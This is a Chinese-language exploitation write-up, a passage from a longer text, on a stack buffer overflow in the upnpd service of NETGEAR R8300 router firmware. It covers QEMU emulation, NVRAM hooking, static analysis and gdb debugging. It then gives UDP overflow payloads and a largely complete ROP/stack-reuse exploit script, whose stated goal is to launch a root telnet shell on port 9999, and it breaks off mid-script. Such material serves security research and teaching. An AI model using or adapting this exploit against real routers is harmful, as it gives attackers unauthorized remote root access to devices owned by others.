[ 0.497574] Creating 11 MTD partitions on "NAND 128MiB 1,8V 8-bit":
|
||||
[ 0.504589] 0x000000000000-0x000000100000 : "NAND simulator partition 0"
|
||||
[ 0.510956] 0x000000100000-0x000000200000 : "NAND simulator partition 1"
|
||||
[ 0.517483] 0x000000200000-0x000000300000 : "NAND simulator partition 2"
|
||||
[ 0.523079] 0x000000300000-0x000000400000 : "NAND simulator partition 3"
|
||||
[ 0.528404] 0x000000400000-0x000000500000 : "NAND simulator partition 4"
|
||||
[ 0.533683] 0x000000500000-0x000000600000 : "NAND simulator partition 5"
|
||||
[ 0.538960] 0x000000600000-0x000000700000 : "NAND simulator partition 6"
|
||||
[ 0.544362] 0x000000700000-0x000000800000 : "NAND simulator partition 7"
|
||||
[ 0.549586] 0x000000800000-0x000000900000 : "NAND simulator partition 8"
|
||||
[ 0.554998] 0x000000900000-0x000000a00000 : "NAND simulator partition 9"
|
||||
[ 0.560167] 0x000000a00000-0x000008000000 : "NAND simulator partition 10"
|
||||
[ 0.568706] tun: Universal TUN/TAP device driver, 1.6
|
||||
[ 0.573024] tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com>
|
||||
[ 0.584170] PPP generic driver version 2.4.2
|
||||
[ 0.587727] PPP BSD Compression module registered
|
||||
[ 0.591009] PPP Deflate Compression module registered
|
||||
[ 0.594922] PPP MPPE Compression module registered
|
||||
[ 0.598416] NET: Registered protocol family 24
|
||||
[ 0.601736] PPTP driver version 0.8.5
|
||||
[ 0.604905] usbcore: registered new interface driver usb-storage
|
||||
[ 0.610485] hidraw: raw HID events driver (C) Jiri Kosina
|
||||
[ 0.614655] usbcore: registered new interface driver usbhid
|
||||
[ 0.618555] usbhid: USB HID core driver
|
||||
[ 0.621686] Netfilter messages via NETLINK v0.30.
|
||||
[ 0.625702] nf_conntrack version 0.5.0 (3958 buckets, 15832 max)
|
||||
[ 0.630752] ctnetlink v0.93: registering with nfnetlink.
|
||||
[ 0.635472] ipip: IPv4 over IPv4 tunneling driver
|
||||
[ 0.639820] gre: GRE over IPv4 demultiplexor driver
|
||||
[ 0.643303] ip_gre: GRE over IPv4 tunneling driver
|
||||
[ 0.649259] ip_tables: (C) 2000-2006 Netfilter Core Team
|
||||
[ 0.655447] arp_tables: (C) 2002 David S. Miller
|
||||
[ 0.660480] Initializing XFRM netlink socket
|
||||
[ 0.664155] NET: Registered protocol family 10
|
||||
[ 0.670172] ip6_tables: (C) 2000-2006 Netfilter Core Team
|
||||
[ 0.674635] sit: IPv6 over IPv4 tunneling driver
|
||||
[ 0.680072] NET: Registered protocol family 17
|
||||
[ 0.683649] bridge: automatic filtering via arp/ip/ip6tables has been deprecated. Update your scripts to load br_netfilter if you need this.
|
||||
[ 0.692092] Bridge firewalling registered
|
||||
[ 0.694840] Ebtables v2.0 registered
|
||||
[ 0.697697] 8021q: 802.1Q VLAN Support v1.8
|
||||
[ 0.700677] Registering SWP/SWPB emulation handler
|
||||
[ 0.705032] hctosys: unable to open rtc device (rtc0)
|
||||
[ 0.713464] EXT4-fs (vda1): couldn't mount as ext3 due to feature incompatibilities
|
||||
[ 0.721943] EXT4-fs (vda1): mounting ext2 file system using the ext4 subsystem
|
||||
[ 0.732941] EXT4-fs (vda1): warning: mounting unchecked fs, running e2fsck is recommended
|
||||
[ 0.740503] EXT4-fs (vda1): mounted filesystem without journal. Opts: (null)
|
||||
[ 0.745898] VFS: Mounted root (ext2 filesystem) on device 254:1.
|
||||
[ 0.752726] Freeing unused kernel memory: 180K (c05c7000 - c05f4000)
|
||||
[ 0.790000] random: init urandom read with 3 bits of entropy available
|
||||
nvram_get_buf: time_zone
|
||||
sem_lock: Triggering NVRAM initialization!
|
||||
nvram_init: Initializing NVRAM...
|
||||
sem_get: Key: 410160c4
|
||||
nvram_init: Unable to touch Ralink PID file: /var/run/nvramd.pid!
|
||||
sem_get: Key: 410c0019
|
||||
nvram_set_default_builtin: Setting built-in default values!
|
||||
nvram_set: console_loglevel = "7"
|
||||
sem_get: Key: 410c0019
|
||||
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
|
||||
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
|
||||
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
|
||||
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
|
||||
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
|
||||
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
|
||||
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
|
||||
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
|
||||
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
|
||||
sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...
|
||||
sem_lock: Unable to get semaphore!
|
||||
```
|
||||
|
||||
|
||||
|
||||
### Qemu自定义
|
||||
|
||||
1. **配置arm虚拟机**
|
||||
|
||||
使用Qemu模拟固件需要下载对应的arm虚拟机镜像,内核和initrd。
|
||||
https://people.debian.org/~aurel32/qemu/armhf/
|
||||
|
||||
```shell
|
||||
[debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M
|
||||
[initrd.img-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress) 2013-12-17 01:57 2.2M
|
||||
[vmlinuz-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress) 2013-09-20 18:33 1.9M
|
||||
```
|
||||
|
||||
标准的虚拟机启动命令为
|
||||
|
||||
```
|
||||
- qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2"
|
||||
- qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_desktop.qcow2 -append "root=/dev/mmcblk0p2"
|
||||
```
|
||||
|
||||
对于R8300固件,在 Host 机上创建一个 tap 接口并分配 IP,启动虚拟机:
|
||||
|
||||
```shell
|
||||
sudo tunctl -t tap0 -u `whoami`
|
||||
sudo ifconfig tap0 192.168.2.1/24
|
||||
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic`
|
||||
```
|
||||
|
||||
与标准命令区别在于` -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic`
|
||||
启动之后输入用户名和密码,都是 root,为虚拟机分配 IP:
|
||||
|
||||
```shell
|
||||
root@debian-armhf:~# ifconfig eth0 192.168.2.2/24
|
||||
```
|
||||
|
||||
这样 Host 和虚拟机就网络互通了,然后挂载 proc、dev,最后 chroot 即可。
|
||||
|
||||
```
|
||||
root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc
|
||||
root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev
|
||||
root@debian-armhf:~# chroot ./squashfs-root/ sh
|
||||
```
|
||||
|
||||
|
||||
|
||||
1. **修复依赖**
|
||||
|
||||
NVRAM( 非易失性 RAM) 用于存储路由器的配置信息,而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下,我们可以使用 `LD_PRELOAD` 劫持以下函数符号。手动创建 `/tmp/var/run` 目录,再次运行提示缺少 `/dev/nvram`。
|
||||
|
||||
* 编译nvram.so
|
||||
|
||||
https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c
|
||||
|
||||
```
|
||||
$ arm-linux-gcc -Wall -fPIC -shared nvram.c -o nvram.so
|
||||
```
|
||||
|
||||
* 劫持`dlsym`
|
||||
|
||||
nvram库的实现者还同时 hook 了 `system`、`fopen`、`open` 等函数,因此还会用到 `dlsym`,`/lib/libdl.so.0 `导出了该符号。
|
||||
|
||||
```
|
||||
$ grep -r "dlsym" .
|
||||
Binary file ./lib/libcrypto.so.1.0.0 matches
|
||||
Binary file ./lib/libdl.so.0 matches
|
||||
Binary file ./lib/libhcrypto-samba4.so.5 matches
|
||||
Binary file ./lib/libkrb5-samba4.so.26 matches
|
||||
Binary file ./lib/libldb.so.1 matches
|
||||
Binary file ./lib/libsamba-modules-samba4.so matches
|
||||
Binary file ./lib/libsqlite3.so.0 matches
|
||||
grep: ./lib/modules/2.6.36.4brcmarm+: No such file or directory
|
||||
|
||||
$ readelf -a *./lib/libdl.so.**0* | grep dlsym
|
||||
26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym
|
||||
```
|
||||
|
||||
* 配置tmp/nvram.ini信息
|
||||
|
||||
接下来要做的就是根据上面的日志补全配置信息,也可以参考https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置,可以查看对应的汇编代码逻辑(配置的有问题的话很容易触发段错误)。
|
||||
|
||||
```shell
|
||||
upnpd_debug_level=9
|
||||
lan_ipaddr=192.168.2.2
|
||||
hwver=R8500
|
||||
friendly_name=R8300
|
||||
upnp_enable=1
|
||||
upnp_turn_on=1
|
||||
upnp_advert_period=30
|
||||
upnp_advert_ttl=4
|
||||
upnp_portmap_entry=1
|
||||
upnp_duration=3600
|
||||
upnp_DHCPServerConfigurable=1
|
||||
wps_is_upnp=0
|
||||
upnp_sa_uuid=00000000000000000000
|
||||
lan_hwaddr=AA:BB:CC:DD:EE:FF
|
||||
```
|
||||
|
||||
* 运行过程
|
||||
|
||||
```shell
|
||||
# ./usr/sbin/upnpd
|
||||
# /dev/nvram: No such file or directory
|
||||
/dev/nvram: No such file or directory
|
||||
/dev/nvram: No such file or directory
|
||||
/dev/nvram: No such file or directory
|
||||
/dev/nvram: No such file or directory
|
||||
/dev/nvram: No such file or directory
|
||||
/dev/nvram: No such file or directory
|
||||
/dev/nvram: No such file or directory
|
||||
/dev/nvram: No such file or directory
|
||||
/dev/nvram: No such file or directory
|
||||
/dev/nvram: No such file or directory
|
||||
|
||||
# LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd
|
||||
# ./usr/sbin/upnpd: can't resolve symbol 'dlsym'
|
||||
|
||||
# LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
|
||||
# [0x00026460] fopen('/var/run/upnpd.pid', 'wb+') = 0x00b19008
|
||||
[0x0002648c] custom_nvram initialised
|
||||
[0x76eb7cb8] *fopen**('/tmp/nvram.ini', 'r') = 0x00b19008*
|
||||
[nvram 0] upnpd_debug_level = 9
|
||||
[nvram 1] lan_ipaddr = 192.168.2.2
|
||||
[nvram 2] hwver = R8500
|
||||
[nvram 3] friendly_name = R8300
|
||||
[nvram 4] upnp_enable = 1
|
||||
[nvram 5] upnp_turn_on = 1
|
||||
[nvram 6] upnp_advert_period = 30
|
||||
[nvram 7] upnp_advert_ttl = 4
|
||||
[nvram 8] upnp_portmap_entry = 1
|
||||
[nvram 9] upnp_duration = 3600
|
||||
[nvram 10] upnp_DHCPServerConfigurable = 1
|
||||
[nvram 11] wps_is_upnp = 0
|
||||
[nvram 12] upnp_sa_uuid = 00000000000000000000
|
||||
[nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF
|
||||
[nvram 14] lan_hwaddr =
|
||||
Read 15 entries from /tmp/nvram.ini
|
||||
acosNvramConfig_get('upnpd_debug_level') = '9'
|
||||
```
|
||||
|
||||
## 0x03 静态分析
|
||||
|
||||
该漏洞的原理是使用strcpy函数不当,拷贝过长字符导致缓冲区溢出,那么如何到达溢出位置。
|
||||
首先upnpd服务在`sub_1D020()` 中使用`recvfrom()`从套接字接收UDP数据包,并捕获数据发送源的地址。从函数定义可知,upnpd接收了长度为0x1FFFF大小的数据到缓冲区v54
|
||||
|
||||
> **recvfrom** recvfrom函数(经socket接收数据):
|
||||
|
||||
> 函数原型:int recvfrom(SOCKET s,void ***buf**,int **len**,unsigned int flags, struct sockaddr *from,int *fromlen);
|
||||
|
||||
> 相关函数 recv,recvmsg,send,sendto,socket
|
||||
|
||||
> 函数说明:[recv()](https://baike.baidu.com/item/recv%28%29)用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的[网络地址](https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E5%9C%B0%E5%9D%80),结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083882/netgear/image_29.png)
|
||||
在 `sub_25E04()` 中调用 `strcpy()` 将以上数据拷贝到大小为 `0x634 - 0x58 = 0x5dc` 的 buffer。如果超过缓冲区大小,数据就会覆盖栈底部分甚至返回地址。
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083972/netgear/image_30.png)
|
||||
|
||||
```shell
|
||||
+-----------------+
|
||||
| retaddr |
|
||||
+-----------------+
|
||||
| saved ebp |
|
||||
ebp--->+-----------------+
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
s,ebp-0x58-->+-----------------+
|
||||
| |
|
||||
| buffer |
|
||||
| |
|
||||
| |
|
||||
v40,ebp-0x634-->+-----------------+
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 0x04 动态调试
|
||||
|
||||
使用gdbserver调试目标程序https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver
|
||||
|
||||
```
|
||||
# ps|grep upnp
|
||||
2714 0 3324 S ./usr/sbin/upnpd
|
||||
2788 0 1296 S grep upnp
|
||||
# ./gdbserver 127.0.0.1:12345 --attach 2714
|
||||
Attached; pid = 2714
|
||||
Listening on port 12345
|
||||
```
|
||||
|
||||
工作机上使用跨平台试gdb-multiarch
|
||||
`gdb-multiarch -x dbgscript`
|
||||
dbgscript 内容
|
||||
|
||||
```shell
|
||||
set architecture arm
|
||||
gef-remote -q 192.168.2.1:12345
|
||||
file usr/sbin/upnpd
|
||||
set remote exec-file /usr/sbin/upnpd
|
||||
```
|
||||
|
||||
直接构造溢出字符,程序不会正常返回,因为栈上存在一个v40的指针v51,需要覆盖为有效地址才能正确返回。
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/image_23.png)
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
import socket
|
||||
import struct
|
||||
|
||||
p32 = lambda x: struct.pack("<L", x)
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
payload = (
|
||||
0x634 * b'a' +
|
||||
p32(0x43434343)
|
||||
)
|
||||
print(payload)
|
||||
s.connect(('192.168.2.2', 1900))
|
||||
s.send(payload)
|
||||
s.close()
|
||||
```
|
||||
|
||||
|
||||
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_24.png)
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
import socket
|
||||
import struct
|
||||
|
||||
p32 = lambda x: struct.pack("<L", x)
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
payload = (
|
||||
0x604 * b'a' + # dummy
|
||||
p32(0x7e2da53c) + # v51
|
||||
(0x634 - 0x604 - 8) * b'a' + # dummy
|
||||
p32(0x43434343) # LR
|
||||
)
|
||||
s.connect(('192.168.2.2', 1900))
|
||||
s.send(payload)
|
||||
s.close()
|
||||
```
|
||||
|
||||
可以看到,我们向返回地址发送的数据为0x43434343,但最后PC寄存器的值为0x43434342,最后一个bit变为0,这是为什么?https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html
|
||||
|
||||
* 首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值,保存的LR就被弹出到PC中返回给调用者。
|
||||
* 其次关于最低有效位的一个注意事项:BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位,CPSR寄存器在ARM和Thumb模式之间切换:ARM(LSB=0)/Thumb(LSB=1)。
|
||||
* 我们可以看到R7300是运行在THUMB状态
|
||||
* 当处理器处于ARM状态时,每条ARM指令为4个字节,所以PC寄存器的值为当前指令地址 + 8字节
|
||||
* 当处理器处于Thumb状态时,每条Thumb指令为2字节,所以PC寄存器的值为当前指令地址 + 4字节
|
||||
* 因此保存的LR(用0x43434343覆盖)被弹出到PC中,然后弹出地址的LSB被写入CPSR寄存器T位(位5),最后PC本身的LSB被设置为0,从而产生0x43434342。
|
||||
|
||||
|
||||
最后检查程序的缓解措施。程序本身开启了NX,之前用过R7000的真机,设备开了ASLR
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_25.png)
|
||||
在堆栈恢复前下一个断点,观察控制流转移情况,将PC指针控制为重启指令。通过 hook 的日志可以看到,ROP 利用链按照预期工作(由于模拟环境的问题,reboot 命令运行段错误了...)
|
||||
|
||||
```shell
|
||||
gef➤ b *0x00025F40
|
||||
Breakpoint 1 at 0x25f40
|
||||
|
||||
.text:00025F40 ADD SP, SP, #0x234
|
||||
.text:00025F44 ADD SP, SP, #0x400
|
||||
.text:00025F48 LDMFD SP!, {R4-R11,PC}
|
||||
|
||||
**.****text****:****0003E9DC** **** LDR R0, =aReboot_0 ; "reboot"
|
||||
.text:0003E9E0 BL system
|
||||
|
||||
**payload如下:**
|
||||
payload = (
|
||||
0x604 * b'a' + # dummy
|
||||
p32(0x76d9d450) + # v41
|
||||
(0x634 - 0x604 - 8) * b'a' + # dummy
|
||||
p32(0x0003E9DC) # system(reboot)
|
||||
)
|
||||
|
||||
**固件模拟日志:**
|
||||
ssdp_http_method_check(203):
|
||||
ssdp_http_method_check(231):Http message error
|
||||
Detaching from process 3477
|
||||
rmmod: dhd.ko: No such file or directory
|
||||
**reboot: rmmod dhd failed: No such file or directory**
|
||||
**[0x0003e9e4] system('reboot') = 0**
|
||||
```
|
||||
|
||||
|
||||
综合目前的情况:
|
||||
|
||||
1. 目前可以控制`R4 - R11` 以及 `PC(R15)`寄存器
|
||||
2. 开了 NX 不能用在栈上布置`shellcode`。
|
||||
3. 有 ASLR,不能泄漏地址,不能使用各种 LIB 库中的符号和 `gadget`。
|
||||
4. `strcpy()` 函数导致的溢出,payload 中不能包含 `\x00` 字符。
|
||||
|
||||
|
||||
|
||||
## 0x05 漏洞利用
|
||||
|
||||
路由器已启用ASLR缓解功能,我们可以使用ROP攻击绕过该功能。但是,我们通过使用对NULL字节敏感的**strcpy**来执行复制调用,这反过来又会阻止我们使用ROP攻击。因此,要利用包含NULL字节的地址,我们将需要使用堆栈重用攻击。即想办法提前将 ROP payload 注入目标内存。(`stack reuse`)
|
||||
注意到recvfrom函数在接收 socket 数据时 buffer 未初始化,利用内存未初始化问题,我们可以向sub_1D020的堆栈中布置gadgets。构造如下 PoC,每个 payload 前添加 `\x00` 防止程序崩溃(strcpy遇到\x00截断,不会拷贝后面部分)。
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
|
||||
import socket
|
||||
import struct
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
s.connect(('192.168.2.2', 1900))
|
||||
s.send(b'\x00' + b'A' * 0x1ff0)
|
||||
s.send(b'\x00' + b'B' * 0x633)
|
||||
s.close()
|
||||
```
|
||||
|
||||
|
||||
在strcpy下断点调试,并检查栈区内存
|
||||
|
||||
```shell
|
||||
gef➤ info b
|
||||
Num Type Disp Enb Address What
|
||||
1 breakpoint keep y 0x76dd6e48 <recvfrom+4>
|
||||
2 breakpoint keep y 0x76dc350c <strcpy+4>
|
||||
4 breakpoint keep y 0x00025e70
|
||||
5 breakpoint keep y 0x00025e74
|
||||
gef➤ search-pattern BBBB
|
||||
[+] Searching 'BBBB' in memory
|
||||
[+] In '/lib/libc.so.0'(0x76d85000-0x76dea000), permission=r-x
|
||||
0x76de17e4 - 0x76de17e8 → "BBBB[...]"
|
||||
0x76de1ecc - 0x76de1edb → "BBBBBBBBCCCCCCC"
|
||||
0x76de1ed0 - 0x76de1edb → "BBBBCCCCCCC"
|
||||
[+] In '[stack]'(0x7eb36000-0x7eb6f000), permission=rw-
|
||||
**0x7eb6cc75** - 0x7eb6ccac → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
|
||||
0x7eb6cc79 - 0x7eb6ccb0 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
|
||||
0x7eb6cc7d - 0x7eb6ccb4 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
|
||||
0x7eb6cc81 - 0x7eb6ccb8 → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
|
||||
0x7eb6cc85 - 0x7eb6ccbc → "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB[...]"
|
||||
gef➤ x/s 0x7eb6cc75
|
||||
0x7eb6cc75: 'B' <repeats 1587 times>
|
||||
gef➤ x/s 0x7eb6cc75+1588
|
||||
0x7eb6d2a9: 'A' <repeats 6588 times>
|
||||
```
|
||||
|
||||
此时程序上下文为
|
||||
|
||||
```shell
|
||||
gef➤ context
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$r0 : 0x7eb6c5fc → 0x00000000
|
||||
**$r1 : 0x7eb6cc74** → 0x42424200
|
||||
$r2 : 0x1d
|
||||
$r3 : 0x7eb6c5fc → 0x00000000
|
||||
**$r4 : 0x7eb6cc74** → 0x42424200
|
||||
$r5 : 0x0000cf02 → blx 0x10c6586
|
||||
$r6 : 0x7eb6ecf4 → "192.168.2.1"
|
||||
$r7 : 0x7eb6cc00 → 0x7eb6c5fc → 0x00000000
|
||||
$r8 : 0x7eb6cc04 → 0x76f10020 → 0x00000000
|
||||
$r9 : 0x3eaf
|
||||
$r10 : 0x1
|
||||
$r11 : 0x000c4584 → 0x00000005
|
||||
$r12 : 0x00055450 → 0x76dc3508 → <strcpy+0> mov r3, r0
|
||||
$sp : 0x7eb6c5d8 → "nnection:1"
|
||||
$lr : 0x00025e74 → mov r0, r7
|
||||
$pc : 0x76dc350c → <strcpy+4> ldrb r2, [r1], #1
|
||||
$cpsr: [NEGATIVE zero carry overflow interrupt fast thumb]
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x7eb6c5d8│+0x0000: "nnection:1" ← $sp
|
||||
0x7eb6c5dc│+0x0004: "tion:1"
|
||||
0x7eb6c5e0│+0x0008: 0x0000313a (":1"?)
|
||||
0x7eb6c5e4│+0x000c: 0x00000000
|
||||
0x7eb6c5e8│+0x0010: 0x00000000
|
||||
0x7eb6c5ec│+0x0014: 0x00000000
|
||||
0x7eb6c5f0│+0x0018: 0x00000000
|
||||
0x7eb6c5f4│+0x001c: 0x00000000
|
||||
────────────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
|
||||
0x76dc3500 <strchrnul+24> bne 0x76dc34f0 <strchrnul+8>
|
||||
0x76dc3504 <strchrnul+28> bx lr
|
||||
0x76dc3508 <strcpy+0> mov r3, r0
|
||||
→ 0x76dc350c <strcpy+4> ldrb r2, [r1], #1
|
||||
0x76dc3510 <strcpy+8> cmp r2, #0
|
||||
0x76dc3514 <strcpy+12> strb r2, [r3], #1
|
||||
0x76dc3518 <strcpy+16> bne 0x76dc350c <strcpy+4>
|
||||
0x76dc351c <strcpy+20> bx lr
|
||||
0x76dc3520 <strcspn+0> push {r4, lr}
|
||||
─────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "upnpd", stopped, reason: BREAKPOINT
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x76dc350c → strcpy()
|
||||
[#1] 0x25e74 → mov r0, r7
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
```
|
||||
|
||||
由于接收 socket 数据的 buffer 未初始化,在劫持 PC 前我们可以往目标内存注入 6500 多字节的数据。 这么大的空间,也足以给 ROP 的 payload 一片容身之地。
|
||||
|
||||
使用 `strcpy` 调用在 bss 上拼接出命令字符串 `telnetd\x20-l/bin/sh\x20-p\x209999\x20&\x20\x00`,并调整 R0 指向这段内存,然后跳转 `system` 执行即可。
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_26.png)
|
||||
|
||||
## **0x06 脚本使用说明**
|
||||
|
||||
|
||||
|
||||
|
||||
|脚本帮助: |usage: python2 PSV-2020-0211.py 【路由器IP】 【任意libc有效地址】 |
|
||||
|--- |--- |
|
||||
|真实利用: |IP:192.168.2.2 Port:upnp/1900 |
|
||||
||![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083779/netgear/image_27.png) |
|
||||
|
||||
```python
|
||||
import socket
|
||||
import time
|
||||
import sys
|
||||
from struct import pack
|
||||
|
||||
p32 = lambda x: pack("<L", x)
|
||||
bssBase = 0x9E150 #string bss BASE Address
|
||||
ip = '192.168.2.2'
|
||||
libc_addr = 0x76d9d450
|
||||
|
||||
def banner():
|
||||
a= """
|
||||
# NETGEAR Nighthawk R8300 RCE Exploit upnpd, tested exploit fw version V1.0.2.130
|
||||
# Date : 2020.03.09
|
||||
# POC : system("telnetd -l /bin/sh -p 9999& ") Execute
|
||||
# Desc : execute telnetd to access router
|
||||
"""
|
||||
print a
|
||||
|
||||
|
||||
def makpayload2(libc_addr):
|
||||
payload = (
|
||||
0x604 * b'a' + # dummy
|
||||
p32(int(libc_addr,16)) + # v51 Need to Existed Address
|
||||
(0x634 - 0x604 - 8) * b'a' + # dummy
|
||||
p32(0x000230f0) + # #change eip LR=0x000230f0
|
||||
2509 * b'a'
|
||||
"""
|
||||
.text:000230F0 ADD SP, SP, #0x20C
|
||||
.text:000230F4 ADD SP, SP, #0x1000
|
||||
.text:000230F8 LDMFD SP!, {R4-R11,PC}
|
||||
"""
|
||||
)
|
||||
print(len(payload))
|
||||
return payload
|
||||
|
||||
def makpayload1():
|
||||
expayload = ''
|
||||
"""
|
||||
.text:00013644 MOV R0, R10 ; dest
|
||||
.text:00013648 MOV R1, R5 ; src
|
||||
.text:0001364C BL strcpy
|
||||
.text:00013650 MOV R0, R4
|
||||
.text:00013654 ADD SP, SP, #0x5C ; '\'
|
||||
.text:00013658 LDMFD SP!, {R4-R8,R10,PC}
|
||||
"""
|
||||
expayload += 'a' * 4550
|
||||
expayload += p32(bssBase+3) # R4 Register
|
||||
expayload += p32(0x3F340) # R5 Register //tel
|
||||
expayload += 'IIII' # R6 Register
|
||||
expayload += 'HHHH' # R7 Register
|
||||
expayload += 'GGGG' # R8 Register
|
||||
expayload += 'FFFF' # R9 Register
|
||||
expayload += p32(bssBase) # R10 Register
|
||||
expayload += 'BBBB' # R11 Register
|
||||
expayload += p32(0x13644) # strcpy
|
||||
|
||||
expayload += 'd'*0x5c#dummy
|
||||
expayload += p32(bssBase+6) #R4
|
||||
expayload += p32(0x423D7) #R5 //telnet
|
||||
expayload += 'c'*4 #R6
|
||||
expayload += 'c'*4 #R7
|
||||
expayload += 'c'*4 #R8
|
||||
expayload += 'd'*4 #R10
|
||||
expayload += p32(0x13648) #strcpy
|
||||
|
||||
|
||||
expayload += 'd'*0x5c#dummy
|
||||
expayload += p32(bssBase+8) #R4
|
||||
expayload += p32(0x40CA4 ) #R5 //telnetd\x20
|
||||
expayload += 'c'*4 #R6
|
||||
expayload += 'c'*4 #R7
|
||||
expayload += 'c'*4 #R8
|
||||
expayload += 'd'*4 #R10
|
||||
expayload += p32(0x13648) #strcpy
|
||||
|
||||
expayload += 'd'*0x5c#dummy
|
||||
expayload += p32(bssBase+10) #R4
|
||||
expayload += p32(0x4704A) #R5 //telnetd\x20-l
|
||||
expayload += 'c'*4 #R6
|
||||
expayload += 'c'*4 #R7
|
||||
expayload += 'c'*4 #R8
|
||||
expayload += 'd'*4 #R10
|
||||
expayload += p32(0x13648) #strcpy
|
||||
|
||||
expayload += 'd'*0x5c#dummy
|
||||
expayload += p32(bssBase+11) #R4
|
||||
expayload += p32(0x04C281) #R5 //telnetd\x20-l/bin/\x20
|
||||
expayload += 'c'*4 #R6
|
||||
expayload += 'c'*4 #R7
|
||||
expayload += 'c'*4 #R8
|
||||
expayload += 'd'*4 #R10
|
||||
expayload += p32(0x13648) #strcpy
|
||||
|
||||
expayload += 'd'*0x5c#dummy
|
||||
expayload += p32(bssBase+16) #R4
|
||||
expayload += p32(0x40CEC) #R5 //telnetd\x20-l/bin/
|
||||
expayload += 'c'*4 #R6
|
||||
expayload += 'c'*4 #R7
|
||||
expayload += 'c'*4 #R8
|
||||
expayload += 'd'*4 #R10
|
||||
expayload += p32(0x13648) #strcpy
|
||||
|
||||
|
||||
expayload += 'd'*0x5c#dummy
|
||||
expayload += p32(bssBase+18) #R4
|
||||
expayload += p32(0x9CB5) #R5 //telnetd\x20-l/bin/sh
|
||||
expayload += 'c'*4 #R6
|
||||
expayload += 'c'*4 #R7
|
